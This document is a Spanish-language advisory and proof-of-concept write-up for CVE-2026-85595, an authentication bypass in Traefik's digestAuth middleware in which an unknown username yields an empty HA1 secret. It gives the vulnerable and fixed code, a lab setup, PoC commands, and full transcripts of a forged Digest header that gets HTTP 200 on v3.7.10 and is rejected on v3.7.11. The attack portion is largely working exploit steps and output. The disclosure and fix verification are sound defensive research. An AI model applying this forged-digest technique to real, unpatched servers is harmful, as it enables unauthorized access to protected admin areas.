
CVE-2026-85595 — omisión de autenticación digestAuth en Traefik (nombre de usuario desconocido => HA1 vacío). Verificado en laboratorio: omisión en v3.7.10, 401 en v3.7.11.
digestAuth de Traefik autentica a usuarios desconocidos (secreto vacío)Afectado: Traefik < 2.11.55, y 3.0.0 – 3.7.10
Corregido: 2.11.55 / 3.7.11
Corrección: commit b975dcaa8c48 de containous/go-http-auth "Reject DigestAuth when user secret is empty", incorporado en Traefik mediante el commit 2116686308a2 (actualización de go.mod)
Aviso: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
El middleware digest de Traefik resuelve el HA1 del usuario mediante su propia búsqueda de secretos
(pkg/middlewares/auth/digest_auth.go):
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
El CheckAuth de go-http-auth toma entonces ese "" como HA1 y calcula
(digest.go:191-203 antes de la corrección):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets es false para Traefik (el archivo de usuarios ya contiene HA1), por lo que
HA1 permanece como cadena vacía. Cada entrada a KD excepto HA1 está controlada por el atacante o
es entregada por el desafío 401 (nonce, opaque), y la comprobación de uri acepta la
propia ruta de la solicitud. Por lo tanto, la respuesta es calculable sin ninguna contraseña y
sin un nombre de usuario que exista en el archivo de usuarios.
La corrección son tres líneas en la biblioteca:
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik en sí no necesitó ningún cambio de código — solo la actualización de la dependencia — por lo que el diff de v3.7.11 no contiene ningún hunk de digest_auth.go.
| rol | imagen | contenedor | puerto del host |
|---|---|---|---|
| proxy vulnerable | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| proxy corregido | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
PathPrefix(/admin) en el entrypoint digest, middleware digestAuth
(realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). El usuario ghost usado por el PoC no está en él.poc-traefik-app (python:3.12-alpine), sirve ADMIN-AREA … para /admin/*.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE escribe la transcripción; --path, --user sobrescriben la ruta de destino
y el nombre de usuario falsificado.
traefik:v3.7.10 vulnerable — omisión$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
El registro de acceso del propio proxy registra la identidad falsificada como un usuario autenticado
(ClientUsername es el segundo campo después de la IP del cliente):
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 fijado — digest falsificado rechazado$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc) no es necesaria
más allá del uso único.digestAuth en una versión
afectada, y contra 2.11.x < 2.11.55.